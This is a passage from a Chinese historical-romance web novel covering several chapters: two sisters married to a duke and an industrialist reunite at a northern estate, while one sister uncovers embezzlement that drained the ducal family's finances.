也许是她做的蓝莓果酱蛋糕太香甜、满屋子小怀特太吵闹、而她送上礼物的目光太真诚。 也许是她抱着小狗歪头睡觉的模样很滑稽,也许是教堂誓言和月下的舞曲有神奇魔力,也许是婚礼的夜晚,她的吻和波特酒一样令人沉醉…… 他找不到开端,又好像哪里都是开端。 秋去冬来,等再次审视内心的荒原,那颗种子已经扎根发芽,长出一株迎风摇曳的金盏菊。 窗外银装素裹,雪花落在窗台,又被室内的温暖融化。 赫尔曼低头看向怀里的人:“从见到诺曼小姐的第一眼开始。” 怀里传来均匀的呼吸声,她已经睡着了,没有听到那个问题的答案。 不过,没关系。 这段关系的开端已经不再重要,来日方长,他们还要度过许多像今天这般温暖的冬日。 赫尔曼伸出微凉的手,摩挲她的脸颊。 睡梦里的奥黛丽似乎觉得很舒服,追随着凉意贴近他的掌心。 “你也睡……”她嘟囔,握住布满疤痕的左手,再次沉睡。 赫尔曼静静看着她,自言自语:“你呢?伊莎贝尔。” 深灰色的眼睛眸光深沉,“我们争吵时,你说的话,是真的吗?” 她说“未来会有人爱你”;她说害怕他的爱,却有游到对岸的勇气。 她会像现在这样,躺在他的怀里,全身心地信赖他。会毫不犹豫地说出“喜欢”“爱”“永远”这样的单词。 可是他仍然觉得不够。 那轮太阳似乎会对每一个人释放温暖,对家人、朋友、宠物、甚至陌生人都投以最真挚的善意。 她身体里有源源不断的爱与能量,他得到了很多,可内心的贪婪与欲望却叫嚣着霸占全部。 天真的诺曼小姐以为那番争吵,就已经暴露了他的真面目。实际上,冰山之下的阴暗还远远不止于此。 从马车爆发争吵开始,隔阂已经产生,她变得和从前不一样。 赫尔曼清楚,只有极度的坦诚,才能让那颗心再次柔软。好在,他赌赢了。 即便他剖开假面,她也没有嫌弃里面丑陋的灵魂。 赫尔曼太明白什么是以退为进。 看似将选择权交给对方,好像她随时有离开的自由,实际上,他从没有打算放开那双手。 这种野蛮掠夺的手段,不是他处心积虑的谋划,而是刻入骨髓的本能。 从第一眼开始,那颗种子落入荒原,某种欲望就开始滋生。 如果不是他刚才审视自己的情感脉络,也许还没有发觉,那隐藏在血脉里的阴暗算计。 此刻,本能与理智回归为一体。 他看清了自己掠夺的本质,不是为了生存与财富,而是为某种名为“爱”的情感。 “没关系。”赫尔曼抚摸着她奥黛丽的侧脸,微笑道,“什么答案都没关系,不重要了。” 无论爱情在她心里占据多少分量,无论他们对于彼此的情感投入是否一致,无论她清不清楚自己的选择会有什么后果,无论她真挚的表达是出于普通的好感还是独一无二的偏爱,都不重要。 赫尔曼吻了吻她的手,“因为不管你的回答是什么,从现在开始,都没有后退的余地了。” 天色渐暗,火光摇曳,墙壁上倒映着二人的身影。 赫尔曼闲适地靠在床头,高大的身影笼罩着睡梦中的女孩。 如果奥黛丽现在睁开眼,就会对上他专注的眼神。 深灰色的瞳孔里毫不掩饰占有与掠夺,轻轻摩挲她脸颊的动作却又无比温柔。 像神话里蛊惑人心的海妖,只会在人类看不见的时刻,露出真实的獠牙。 可是金发女孩没有半点不安,甚至小声打起呼噜,睡得很香甜。 她高热渐退,出了一身汗,有点冷,无意识地凑近热源,八爪鱼似的缠住身旁的人,再次入睡。 一夜好眠,第二天,晨光照进屋内。 奥黛丽眼皮动了动,醒来就发现自己霸道地占据整张床。 低头看了看。 不仅是床,还有床伴…… 从赫尔曼身上下来,并松开纠缠的腿脚,奥黛丽礼貌道歉:“你应该叫醒我的,我睡姿不太好。” 赫尔曼睨着她,嗓音沙哑:“那也得叫得醒。” 奥黛丽颇有些不好意思,识趣地往后缩。 赫尔曼盯着她,突然咳嗽了两声。 “糟糕,是不是我的病让你也加重了症状?”奥黛丽赶紧贴近,试了试他的温度,“天哪!这么烫!” 赫尔曼嘴角翘了翘,等她看过来,又柔弱地咳嗽起来。 奥黛丽更担心了:“我去叫医生。” “不许去。”赫尔曼一把拽过她,闭着眼镇定道:“我睡一觉就好了。” 奥黛丽被按在怀里,半信半疑:“你现在浑身都很烫,不会烧坏脑子吗?” “如果你的脑子尚且完好,那么我想我的更不会坏到哪里去。”赫尔曼撸着她的脑袋。 奥黛丽怒道:“什么是更?我的头脑也是数一数二的。” 赫尔曼撩开眼皮,眼看奥黛丽顶着一头金发坐起来,一副要他给说法的模样,只好再次咳嗽起来。 “咳咳咳,头有点疼。”赫尔曼虚弱地躺倒。 奥黛丽又愧疚起来,“哎呀我不该吵你的。” “那你再陪我睡一觉。”赫尔曼顺势拉着她,卷进怀里,有一下没一下地抚摸她的后颈,“时间还早。” “?”奥黛丽莫名其妙回到被窝。 总觉得哪里不对,但是病愈后的身体容易疲惫,脑子也转不动。 窗外晨光柔和,太适合睡回笼觉。于是不再多想,她打了个哈欠,找了个舒服的姿势闭上眼睛。 听见怀里的呼吸再次均匀,赫尔曼睁开眼,神情揶揄,没有半点病号的样子。 第63章 章节锁定 第64章 清晨, 查尔维斯庄园。 昨夜下了一场雪,伊莎贝尔走在去往农庄的路上,脚底踩出沙沙的声响。 路边的佃户们有的露出腼腆的微笑,有的热情打招呼:“嗨!公爵夫人!日安!” 伊莎贝尔颔首微笑,身后跟着的伊迪斯和艾米丽从篮子里拿出慰问礼品,一一分发。 “提前送上圣曜节礼物, 请收下。” 佃户们双手祈祷:“噢, 感恩公爵夫人,感恩斯宾塞先祖,希望您一切都好, 希望公爵先生早日康复。” “谢谢。” …… 一路向前, 伊莎贝尔收获了无数的感恩与祝福。 作为庄园主人, 每年的圣曜节前夕给佃农们送上慰问礼是必要的流程。 不过伊莎贝尔并不打算敷衍了事, 她要趁此机会了解庄园的各项事务细节。 就像现在,她一面挨家挨户慰问交谈, 一面让维克托详细记录每户佃农的家庭情况。 是的,精英助手维克托先生, 在公爵养病的这段时间里,彻底被公爵夫人借调过来。 “夫人, 统计完了。”维克托推了推眼镜,“今年收成对比往年减半,超过百分之三十的佃户入不敷出。” 伊莎贝尔听完没有惊讶,这是她看完庄园的账本之后, 早有预料的事情。 自从接管查尔维斯以来,不看不知道,一看吓一跳。 斯宾塞身为帝国七大家族之首,在外维持着顶级豪门的体面,内里实际上早已经被掏空。 老实说,自从北部工业开始腾飞,贵族家庭财务危机并不罕见。毕竟大多数老牌家庭为了跟上新时代,支出与日俱增,但光靠土地无法维持收支平衡。于是,有的人会像诺曼老爹那样跟风投资,有的会固守土地坐等家族衰败。 但这样的事情大多发生在中小贵族身上。他们空有头衔,没有实权,接触不到统治阶级的最新消息。所以无法抵抗时代浪潮。 可是对于大贵族而言,这样的危机不足以彻底击垮整个家族。他们的底蕴深厚到常人无法想象,哪怕生出个不争气的后代,坐吃山空,也得吃十几辈子才能吃完。 而现在的斯宾塞,就相当于好几辈子之后的样子。这种程度的亏空,只能是家族内部有蛀虫。 伊莎贝尔花了几天时间看账本,发现有两处关键节点。 一处是老公爵弗兰德里克和路德维希的葬礼,一处是路易莎和埃德蒙的婚礼。 前者暂时没有头绪,后者很好理解,两天前,索菲娅突然寄来圣曜节礼物,里面是张空白的支票。 这么直白的嘲讽,足以让伊莎贝尔明白,索菲娅那天说的“来日方长”,就是在等待她发觉斯宾塞家的财务危机。 结合账簿来看,路易莎和埃德蒙结婚时就耗费了巨额财力,在路易莎掌管庄园后,他们与布伦瑞克伯爵府建立了商业联系。 亚当看似是新任布伦瑞克伯爵,实际上,背后掌控一切的还是他母亲索菲娅。也就是说,很长一段时间里,路易莎和埃德蒙以索菲娅作为桥梁,与北部工业巨头布鲁森家族展开合作。 丽萨·布鲁森,正是花费巨额嫁妆嫁入布伦瑞克伯爵府的女士,也是索菲娅名义上的儿媳妇,实际的钱袋子。 为了蒙蔽薇奥莱特老夫人,埃德蒙收买安德鲁以及家族的会计律师共同做假账。 表面上看,路易莎管家期间,查尔维斯欣欣向荣。背地里,埃德蒙与索菲娅已经将斯宾塞家的财产转移出去。 伊莎贝尔不得不感叹,玛丽姨妈的名言说得好,蠢人比恶人还要可怕,很难想象他们会做出怎么惊天动地的蠢事,埃德蒙更要命,他是在愚蠢的基础上还自负。 他从始至终就看不起索菲娅,认定对方出身卑微,没胆子骗自己,更无法撼动他的地位。 想来就像杀猪盘那样,索菲娅骗得他的信任,先给点蝇头小利,哄骗他掏出大笔本金,后面不断用利息吊着他,让他以为有高额回报。 毕竟,在埃德蒙看来,一个亲姑母,还是私生女,翻不了天。一个是布伦瑞克伯爵府,有头有脸,跑不了路。一个是肯特郡工业巨头,更是有稳定的资金来源。所以他才放心大胆地挪用家族资产,投资一圈回来再进自己的腰包。 是的,他的想法很美满。可惜他没算到自己现在在吃牢饭。 更没算到姑母索菲娅从头到尾都在算计他,半个斯宾塞家都进了她的腰包。 一码归一码,不得不说,做假账的几位会计也是人才,只不过跟错了人。如果不是伊莎贝尔亲自查账,她可能还像薇奥莱特夫人似的蒙在鼓里。 多亏了路易莎提供证据,几个会计也被伊莎贝尔送去吃牢饭了。等刑满释放,她甚至都想再次聘用他们。 “今年的租金都免掉吧。”伊莎贝尔从思绪中抬头,吩咐维克托。 “是。”维克托一边记录,犹豫片刻道,“但是这也许会加重我们的财务负担。” 伊莎贝尔没法跟他解释中国有句老话叫债多不压身,虱子多了不怕痒。只能摇头道:“一味节省无法填补查尔维斯的窟窿,真正有用的是找到赚钱的路子。” 维克托皱眉:“您的意思是?” 伊莎贝尔微笑,看向远处:“财富在北方,我们就北上。” 维克托很快反应过来,镜片后滑过精光,“您是想去哈登菲尔德,据我所知,您的姐妹有一门姻亲……” 伊莎贝尔投以赞赏的眼神,没有多说,只是转头和佃农宣布免租的消息。 听见这话的佃农激动得流泪,感谢声此起彼伏,有几个老人家在胸口画十字,口中念念有词:“斯宾塞先生的遗德仍在庇佑我们,您的继承者富有同情心。祝您在天堂安好。” 伊莎贝尔抬眸:“您在为斯宾塞家的哪位先祖祈祷?” 年迈的老人抹眼泪:“噢,抱歉夫人,我失态了。我在怀念路德维希上将。我们都曾享受过这位尊者的恩惠,如果他知道有您这样友善的女士成为继任者,一定十分高兴。” “感谢您的赞美。”伊莎贝尔在胸口画十字。 回去的路上,村民们热情地送上花环与新鲜水果。 伊莎贝尔不好推辞,只好都收了下来,一路上,她再次听见村民对路德维希的敬仰与怀念。 “噢!时间过得真快,我还记得八年前,路德维希先生带着当时还是少年的海因里希公爵过来慰问的样子。” “是啊,一眨眼,海因里希已经娶了妻子。还是个周到体贴的善心夫人!” “如果路德维希先生还在该多好啊……” “噢,快别说了,要知道,我总是容易掉眼泪。” …… 伊莎贝尔默默听着。 维克托解释道:“过去几年的慰问礼,路易莎夫人都只是走个过场。上一个这样切实关照佃农的,还是路德维希先生。所以村民对他很是爱戴。” “这样的活动不是都由女主人出面吗?” “乔治安娜公主……身体不好。”维克托低下头,含糊道,“老公爵和老夫人年纪也大了,所以很长一段时间都是由路德维希先生打理,他还扛着压力,帮辖区内所有村民免掉了教会赎罪金,这可不是一件小事。” 伊莎贝尔还想细问,她对路德维希和教会的关系有点好奇,可是现在不是时候,只好先按下疑虑。 晚上,突然接到消息的庄园仆人们忙得团团转,他们正在打点公爵夫妇出行的行李——明天车队即将启程前往肯特郡。 对于伊莎贝尔突如其来的安排,众人虽有疑虑却也不敢多问。唯二两个有权过问的人,一个是妻子送上来历不明的“毒药”都照喝不误的公爵,一个是得知查尔维斯真实财务状况后气晕的老太太。 总之两个人都没有阻止伊莎贝尔的决定,这趟行程就这么定下了。 在仆人眼里“被卖了还帮着数钱”的公爵先生最近很粘人。 因为养病不能随意乱走、不能出门打猎,海因里希的日常只剩下吃饭睡觉喝药、看妻子出门、等妻子回来。 卧室里,听见门把手拧动的声响,海因里希猛然把灯一关,蒙着被子装睡。 伊莎贝尔披散着头发,穿着丝绸睡衣,很自然地掀开被子,“生气了?” 被子里传来震天的呼噜声。 伊莎贝尔轻笑,“今天晚饭不是故意不回来,佃农热情好客,我正好留下来了解他们的生活状况。” “那昨天呢?”海因里希露出脸,语气不善。 “昨天参加了辛西娅夫人的晚宴。” 海因里希掀开被子坐起来,怒道:“什么破晚宴的饭那么好吃?” 伊莎贝尔歪着头笑起来,招了招手:“好了,别生气,过来。” “你说什么我就做什么?你真当我是布莱克吗?”海因里希气哼哼。 “布莱克可不能出现在我的床上。”伊莎贝尔抱着双臂,倚靠在床头,好整以暇地看着他。 海因里希眸光微动,很快偏过头,一副冷酷高傲绝不为蝇头小利折腰的模样。 伊莎贝尔也不管他,打了个哈欠,脱掉丝绸睡衣外套。 墨绿色吊带裙衬得肌肤莹白,看上去比衣服布料还光滑。 海因里希喉结滚动。 伊莎贝尔睨着他,轻轻挑眉。 两个人对视片刻,目光在空气中交融。 墙壁上灯影摇曳,淡淡的馨香流动。 数秒后,高大的影子迅速压了上去。 衣服被扔下床,布帛撕裂声和喘息声混合在一起,金属床腿发出不堪重负的“咯吱”声。 …… 半夜,月上中天。 床架终于停止晃动,伊莎贝尔闭着眼,撩开汗湿的头发,懒洋洋拍了拍还压在身上的男人,“水。” 海因里希不动,追着她的唇亲吻。 伊莎贝尔推开他的脸:“明天要启程,不能太晚了。” 海因里希哼了一声,咬住她的手指,纠缠好一会儿才起身。 男人随意扯了件衣服披着,流畅的肌肉线条上覆盖着薄薄的汗水,在夜色里泛着光泽,越发显得肩宽腿长。 他拿着水杯自己喝了一口,三两步跨上床,再把杯子递给伊莎贝尔。 就着他的手喝了半杯微凉的水,伊莎贝尔缓解了过度愉悦后的口干舌燥,舒服得眯起眼。 海因里希看了她一会儿,又凑上去轻轻啄吻。 伊莎贝尔懒散地抚摸他的头:“明天的太阳还会升起。现在让我睡觉好吗?” 海因里希含糊道:“你睡你的。” 伊莎贝尔闭上眼,任由他拱来拱去。 …… 第二天一早,海因里希神清气爽地起床。 斯宾塞家的车队等候在外,就看见公爵先生穿着正装踏上马车,整个人容光焕发。 公爵夫人慢了半个小时,但仍然气度优雅。 海因里希为妻子打开车门,颇为绅士地颔首:“请上车,女士。” 伊莎贝尔伸出手,华丽的裙摆扫过,视线在男人挺直的腰背处流连,心想下次还是别喂太多补药了。 “维克托,你给温斯顿寄信,告知我们抵达的时间了吗?”坐进车内,伊莎贝尔微笑吩咐。 “邮差已经照办,想必怀特一家已经收到信了。”维克托颔首。 伊莎贝尔:“谢谢。” “出发。” 等到两位主人安坐,车队最前端的护卫高声命令。 旭日狮子旗帜在风中飘扬,向着北方出发。 伊莎贝尔看着窗外景色逐渐后退,唇角上扬。 奥蒂离开她这么久,不知道过得怎么样? — 同一时刻,布伦瑞克伯爵府。 女仆恭敬地向索菲娅颔首:“夫人,斯宾塞公爵夫妇已经启程前往肯特郡,兴许要计划在那里度过圣曜节。” 索菲娅轻轻挑眉,没有说话。 角落里,坐着轮椅的亚当咳嗽了两声,苍白虚弱的脸颊泛着病态的红。妻子丽萨·布鲁森小心翼翼拍着他的背,一边偷觑着索菲娅的脸色。 “母亲,正巧我爷爷寄信来问,今年是否愿意去北方过节。”丽萨眼珠子转了转,心里盘算着怎么委婉提出爷爷的请求,“听说,哈登菲尔德的雪下得很大,肯特郡的北部风光很特别,或许您愿意去欣赏那儿的美景?” 索菲娅笑了笑,漆黑的眼珠盯着她:“是欣赏美景,还是去给你们布鲁森家撑腰?” 丽萨脸色一白,不敢说话。 布鲁森家族正在和怀特家打擂台,确实需要一个有头有脸的助力。 可婆母索菲娅向来积威甚重,自从把女儿嫁给菲利普后,更是叫人忌惮,一个人牢牢把持着布伦瑞克伯爵府。 丽萨本就是布鲁森家族攀附权贵的棋子,别看她在肯特郡耀武扬威,放到丈夫家,她不过是个看人眼色的小媳妇。 亚当又咳嗽了起来,拍了拍妻子的手安抚道:“母亲自然有她的主见,等年后我陪你回家……” 话音未落,只听索菲娅打断道:“不,今年我们就去肯特郡过节。” 丽萨一愣,没有错过索菲娅意味深长的眼神。 “墨伦维克的游戏结束了,接下来的战场要转移到哈登菲尔德。”索菲娅眸光带笑,看向窗外,遥望查尔维斯的方向,“很期待与你的重逢,亲爱的诺曼女士。” —— 作者有话说:查尔维斯这边出发的剧情有一些要交代的哈,明天见面了。 第65章 肯特郡。 斯宾塞公爵夫妇即将抵达的消息传来,温斯顿庄园上下忙成一片。 实际上,整个北部自诩上流社会的家族都在为此振奋。 锡兰公国工业发展的时间尚且短暂,民众对于贵族的崇敬仍然刻在骨子里。 更何况, 这次不是普通的小贵族,而是七大选帝侯之首的斯宾塞家族。 如果说平民们只是单纯的向往与崇拜,那么对于出身草根的商人或当地小贵族而言,其中还掺杂了利益的考量。 墨伦维克与肯特郡相距甚远, 在工业发展前,北部可算不上好地方,几百年前分封到这里的小贵族都是边缘人物, 很少有结交上等贵族的机会。 上次诺曼男爵到来,还算是平等交流。这次得知公爵夫妇莅临,就没人能坐得住。 以莫尔太太为例,她一连三天上门拜访奥黛丽,就是想探听出怀特家什么时候举办欢迎晚会,届时能占据先机得到入场券,面见公爵夫妇。 宴会厅就那么大,名额有限,谁都不想落于人后。 于是这几天, 温斯顿庄园的地板都被上门的客人踩脏了。 奥黛丽对于莫尔太太等人的热忱表示理解,只是她实在没功夫招待她们。因为诺曼小姐自己就激动得三天没睡好! “到了吗到了吗?” 庄园外, 奥黛丽第八次眺望远方,满怀期待地询问。 “是路过的马车。”赫尔曼觉得有些好笑。 接到先遣队送来的消息后,温斯顿庄园众人按照迎接公爵的规格站在门外等候。 奥黛丽今天打扮得很漂亮,绯红色丝绒长裙搭配兔毛坎肩,金色卷发盘成花朵发髻,用精致的珍珠发饰妆点。可她仍然不放心, 又整理一遍头发,让赫尔曼看自己:“我看起来还好吗?” “我想没人比打扮了三个小时的怀特太太更美。”赫尔曼又看了眼同样很紧张的葛丽泰,对奥黛丽揶揄道,“母亲这样很正常,可公爵夫人是你的姐妹,你紧张什么?” “你不懂。”奥黛丽摆摆手,踮着脚张望路边,“这么久不见,我当然要以最好的状态迎接我最亲爱的人!” “最亲爱的人?”赫尔曼挑眉,咀嚼这句话。 奥黛丽的全副心神都放在迎接姐姐这件事上,完全没注意赫尔曼的表情变化。 一旁的露西看在眼里,莞尔道:“奥黛丽小姐和伊莎贝尔小姐一起长大,是彼此最亲密的伙伴。当然,现在伊莎贝尔小姐还有了新的身份,那就是怀特太太。” “这需要反复提醒吗?怎么突然这么说?”奥黛丽漫不经心回头。 “没什么。”露西扫了眼表情缓和的怀特先生,并不打算告诉自家小姐,她的丈夫就在刚刚打翻了醋坛子。 赫尔曼不动声色,心里倒留意起了这个机灵的女仆。 天真的诺曼小姐身边跟着这么一位随时替她周全的人,倒是好事。 最开始,他把婚姻当成钱货两讫的买卖,对诺曼一家没有好感,尤其是那个窝囊的父亲爱德华。 上次婚礼,简妮的处事态度与对女儿的关爱,让他对此有了改观。 此刻再审视这个女仆的品格,赫尔曼发觉诺曼家并不像他以为的那样卖女求荣,否则不会连女儿身边的女仆都安排得如此妥帖。 遥望不远处的猩红旗帜,赫尔曼收敛起眼底的不耐。 奥黛丽也看见了旭日狮子旗,高兴地呼喊:“他们到了!” 残雪未尽,红色制服礼仪队开道,簇拥着中间华丽的马车缓缓而来。 温斯顿庄园的仆人按照事先排练的那样,分别站成两列,由男仆上前开车门。 “恭迎斯宾塞公爵、公爵夫人。”众人齐声。 车门打开,只见一只黑色长靴踏上天鹅绒地毯,高大的男人率先出现。他不苟言笑,五官深邃,漆黑的眼珠扫视众人,有种不怒而威的气势。 再看那身笔挺的军人制服和肩膀上一排勋章,众人便知道这就是传说中的斯宾塞公爵。 紧接着,他向后伸出胳膊,一只戴着丝绸长手套的手搭了上来。 冬日难得的太阳高悬天际,众人屏住呼吸,下一秒,只见一张十足美丽的面孔映入眼帘——她有着璀璨如蓝宝石的眼睛,丝绸般的金色头发,和怀特太太五官有五分相似,但气质截然不同。 葛丽泰带着所有人一起行礼。 抬起头时,奥黛丽怔在原地。 从小到大,姐妹俩从未分别过这么久。 奥黛丽习惯了酸甜苦辣都要和姐姐分享,离开诺曼庄园那天,她暗暗发誓自己要坚强,要独立面对一切。到今天为止,她的确做到了,并且做得很好。 她预想过很多遍,见到姐姐要以稳重的姿态迎接,以此表示自己这段时间很有长进。 可是当熟悉的身影出现,眼泪就控制不住,夺眶而出。 她也不知道自己为什么要哭,好像是那种见到最亲近的人之后,自然而然生出的喜悦与委屈。 伊莎贝尔的第一眼,同样看向了妹妹——人群里,她穿着显眼的红裙子,脸颊红润饱满,像颗新鲜的水蜜桃,一点儿没有原书剧情里枯萎的征兆,没有什么比这更好的消息。 “好久不见,我的甜心。” 伊莎贝尔露出微笑,向奥黛丽张开双臂。 这一刻,奥黛丽完全不顾他人的目光,更不顾礼仪规矩,飞扑进姐姐怀里:“噢,我好想你,亲爱的……” “我也很想念你,在这里一切都好吗?” “我很好,你呢?”奥黛丽带着哭腔。 “我也是。”伊莎贝尔耐心地拍着妹妹的脑袋,示意海因里希先走。 莫名其妙被挤开的海因里希:“?” “公爵先生,幸会。”奥黛丽敷衍地对姐夫打招呼,手却牢牢挽住姐姐的胳膊,一点没有让开位置的意思。 海因里希板着脸:“按照礼仪应该由我领着自己的妻子进去才对吧,怀特太太?” “都是一家人,不用讲究了斯宾塞先生。”奥黛丽摆手,一脸我都不在意你也别在意的表情,扭头就挽着姐姐自顾自向前走。 姐妹俩旁若无人,谁也插不进话。 海因里希:“?” 对面,赫尔曼显然更快认清状况。 从妻子身上收回视线,他撑着手杖,缓缓走上前,不卑不亢颔首:“公爵先生,初次见面,幸会。” 妻子被这座庄园的女主人拐走,海因里希只好看向剩下的男主人。 两个男人身量很高,似乎都在审视着对方。 一个是出鞘的军刀,带着战场的杀伐之气,天然的凌厉凶悍。一个是雪地里挺拔的松柏,看似从容礼貌,灰色的眼睛里却暗含深渊。 “幸会,怀特先生。叫我海因里希就好。” 对于初次见面的连襟,公爵先生完全无感,伸出手礼节性地碰了碰。 “可以叫我赫尔曼。” 怀特先生同样如此,他更愿意把注意力放在粘着公爵夫人的怀特太太身上。 “我想寒冷的冬天更适合去室内聊天,你们姐妹俩还有很多时间促膝长谈。花厅里已经准备了新鲜的点心,请尽情享用。”葛丽泰领着一行人往城堡内走去。一面吩咐仆人们整理斯宾塞公爵府的车马。 “辛苦您的照料,库珀夫人。”伊莎贝尔一手牵着妹妹,一边回头与赫尔曼点头打招呼,再与葛丽泰交谈,社交礼仪滴水不漏。 温斯顿庄园为迎接公爵夫妇准备了丰盛的晚餐。 换晚礼服时,伊莎贝尔让露西留下。 奥黛丽则在另一间更衣室里见到了熟悉的伙伴艾米丽。 久别重逢的喜悦萦绕着整座城堡。 温斯顿庄园接待客人的规格很高,从室内装潢到餐桌的水晶古董烛台,以及来自赫斯兰的昂贵名花,无一不在彰显奢华。一顿饭的花销比起墨伦维克上东区贵族府邸也不差多少。 仆人们卯足了劲要在主人面前表现这几天吸收的礼仪知识,成效的确斐然。至少让从小在查尔维斯长大的海因里希挑不出错。 事实上,他可不是薇奥莱特,根本没兴趣去挑剔“刀叉应该放在左边还是右边,甜品叉横放还是竖放”这种鸡毛蒜皮的错误。 因为等他换好衣服下楼,又看见自己的位置被人牢牢霸占。 奥黛丽坐在伊莎贝尔身边,小嘴叭叭,不知道在说什么,伊莎贝尔歪着头细听,不时轻笑。 海因里希站在身后许久,都没吸引妻子的注意力。实在没忍不住,只好咳嗽两声。 伊莎贝尔回过头,神态轻松自然,“海因?你来了。” 海因里希皱眉:“我以为等晚餐结束你都不会发现自己的丈夫没过来。” 伊莎贝尔目光揶揄:“亲爱的,别怨气冲天,随便找个位置坐吧。享用美食可比对我撒气重要。” “是的,我应该入座了。请你起身,我要坐这里,怀特太太。”海因里希不动,盯着奥黛丽。 奥黛丽:? ?哪有人已经坐了还被叫起来的! 如果妈妈见到这个公爵,一定不会觉得她的礼仪多糟糕了! “这是我先坐下的,您去别的位置吧,公爵先生。”奥黛丽警惕地缩了缩脖子,两只手按着座椅,还往姐姐身边靠了靠,一副谁也别想把她从这里拎走的表情。 海因里希瞪着她:“你的位置在对面。” 奥黛丽悄悄哼了一声:“我们家都是随便坐的,又没写名字。” “那你就去对面。” “你也可以去对面。” “我不去!这是我的妻子!” “我也不去!这是我的姐妹!” 两个人突然呛起来,谁也不服谁。 伊莎贝尔噗嗤笑出声,还有闲心倒了半杯香槟,一边品尝一边看热闹。 一直被攻击的对面,入座已久的赫尔曼:“……” 他不得不开口道:“斯宾塞先生,来这里坐吧。” 妻子不帮自己,海因里希拿奥黛丽没办法,只能板着脸坐到赫尔曼身边,越想越气,“你对这件事就没意见吗?!” 赫尔曼不说话,淡定地倒了杯红酒,递给海因里希。 海因里希接过,碰了碰杯子。 “铛”的一声,酒红杯身倒映出两个男人如出一辙的冷脸。 赫尔曼:“我不为无法改变的事情而生气。” 简言之,有意见也没屁用。 海因里希翻了个白眼,仰头把酒一口闷。 人和人的悲欢并不相通,两个男人沉默一晚上,默默吃饭喝酒,不时碰了碰杯子。干巴巴聊了几句天气就没话说。 而对面的欢声笑语持续了整个晚上,姐妹俩还拉着葛丽泰加入进来,热闹极了。 毕竟是第一天,舟车劳顿,大家吃完饭就各自休息。 夜幕降临,奥黛丽抱着枕头溜进姐姐的房间,还没说话,身后就传来脚步声。 一回头,又对上神色不善的公爵先生。 海因里希满脸写着“就知道你要来我特意在这蹲你,休想进来!” 伊莎贝尔早就知道妹妹要过来,视线越过奥黛丽看向海因里希,笑着摆手:“海因,今晚你去别的房间睡吧。” “等等,不止今晚!”奥黛丽赶紧打断,大着胆子拦在门口:“公爵先生,我们姐妹好不容易见面,只聊一晚上怎么够?” “不止今晚?”海因里希眯起眼,看向伊莎贝尔,一副你不给说法我就要闹了的表情,“那我睡哪?!” 奥黛丽语速飞快:“温斯顿庄园多的是房间!管家会给你安排的!保证让你得到充分休息!” 伊莎贝尔立刻默契地将妹妹拉进房间,然后揪着海因里希的衣领,应付式的亲了亲嘴唇,“好了,晚安,亲爱的。” 说着就合上门,“砰!” “?!”海因里希瞪着紧闭的房门。 变了!一切都变了! 自从来到肯特郡,他的生活天翻地覆! 好吧,这才是第一天,先忍一忍!不能做扫兴的丈夫! 公爵压下脾气,臭着脸走开。刚抬起脚,就看见连襟迎面走来。 银头发先生穿着睡衣,显然在卧室里等许久。他扫了眼紧闭的房门和对面男人的脸色,挑眉:“她们姐妹俩在一起?” 海因里希沉重点头,冷哼道:“恐怕还不止今晚。” “……” 两个男人再次相顾无言。 这一次,不用太多的解释,彼此已经有种同病相怜的默契。 第66章 卧室里,伊莎贝尔与奥黛丽可不知道外面的事。 “我好想你,姐姐。”奥黛丽缩在被窝里,抱着伊莎贝尔的腰说悄悄话, “那个公爵看起来可真凶,他对你好吗?” 伊莎贝尔轻笑:“他还不错。” “真的吗?”奥黛丽哼哼,她向来对人友善,但是对待姐姐的丈夫却十分吹毛求疵, “他可一点儿都不像贵族绅士,你刚看到了吗?我只不过要陪你几个晚上而已,他居然那个态度?拜托,我可是你的姐妹,他是谁?他才认识你多久?” 奥黛丽滔滔不绝。 伊莎贝尔忍俊不禁:“看起来他很难博得你的好感。” “是的,一点可能也没有!”奥黛丽斩钉截铁,八爪鱼似的抱住伊莎贝尔,“你放心,他是公爵又怎么样,要是对你不好,我就……我就……” 她犹豫半天,又想到换嫁的事。姐姐本来就是替代她去公爵府的, 现在遇到的麻烦也都是她带来的。就算姐姐吃了亏,她也想不出法子对付他。 一时间, 奥黛丽声音低了下去。 伊莎贝尔轻轻拍着她的背,沉默片刻才道:“放心,我很好。” “看着我,亲爱的。”她捏了捏奥黛丽的下巴,两双相似的蓝眼睛对视,“你忘了你说的话吗?你知道的,我在哪里都能过得好。” 奥黛丽微怔,心中的不安被温柔抚平。 “你呢?怀特先生是个怎么样的人?”伊莎贝尔看着妹妹红润的脸,微笑,“看起来你在温斯顿庄园的日子比我想象得更好。” 提到赫尔曼,奥黛丽眼睛亮了亮,“嗯!赫尔曼是个很好的人,我在这里过得很不错。” “库珀夫人也很好,我在这里认识了许多朋友,洁希亚夫人、莫尔太太、特蕾莎、查尔斯、卡洛琳、胖厨娘、凯文、萝丝……”奥黛丽打开了话匣子。 在姐姐面前,奥黛丽毫无保留。小到养了几只小猫小狗,分别叫什么名字,大到研究改良机器,加入承知社,她事无巨细告诉伊莎贝尔。 伊莎贝尔也耐心倾听着,即便是很小的事,她也会给出回应。 其实关于承知社以及改良机器这种大事,露西已经告知了伊莎贝尔。露西是伊莎贝尔留在奥黛丽身边的眼睛,负责排除危险苗头,给她留下充分安全的环境。 不过这种事没必要告诉奥黛丽,她只需要像现在这样,快乐地交朋友,大胆地尝试新鲜事物。 “除了这些以外呢?你刚刚说到赫尔曼,怎么不继续?”伊莎贝尔轻笑,她当然注意到妹妹别扭的神色。 奥黛丽抱着枕头滚了两圈,含糊道:“挺好的,我们都是夫妻了。” 伊莎贝尔注视着妹妹,“他对你好吗?我指的不是衣食住行,我问的是……他尊重你吗?” 奥黛丽犹豫片刻,扬起微笑:“嗯,他尊重我,我已经拥有了很多太太们都羡慕的自由。” 伊莎贝尔没有说话,她沉默片刻,又问:“你真心喜欢他吗?” 在奥黛丽立刻要回答之前,她接着说:“我要听实话,亲爱的。” 奥黛丽顿了顿,有些害羞,想了想,还是勇敢开口,“我应该是喜欢他的。” 伊莎贝尔挑眉:“你的语气怎么带着不确定?” “因为……我分不清那是怎样的喜欢。”奥黛丽犹豫地抬起头,“也不确定它是好是坏。” 这个问题其实埋在奥黛丽的心里很久了。 她是个不爱纠结的人,遇到解决不了的问题就先放着。 现在似乎是个把陈年疑问拎出来解决的好时机。 “我喜欢很多人,喜欢你,喜欢爸爸妈妈,喜欢姨妈,有时候也不介意喜欢友善状态的卢卡斯小姐。”奥黛丽慢慢诉说。 “噢,卢卡斯小姐一定不知道你这么看重她。”伊莎贝尔打趣。 奥黛丽红了脸:“总之……我喜欢很多人。我还喜欢帕比小狗,黛西小猫。一切美好的都值得被我喜欢。” 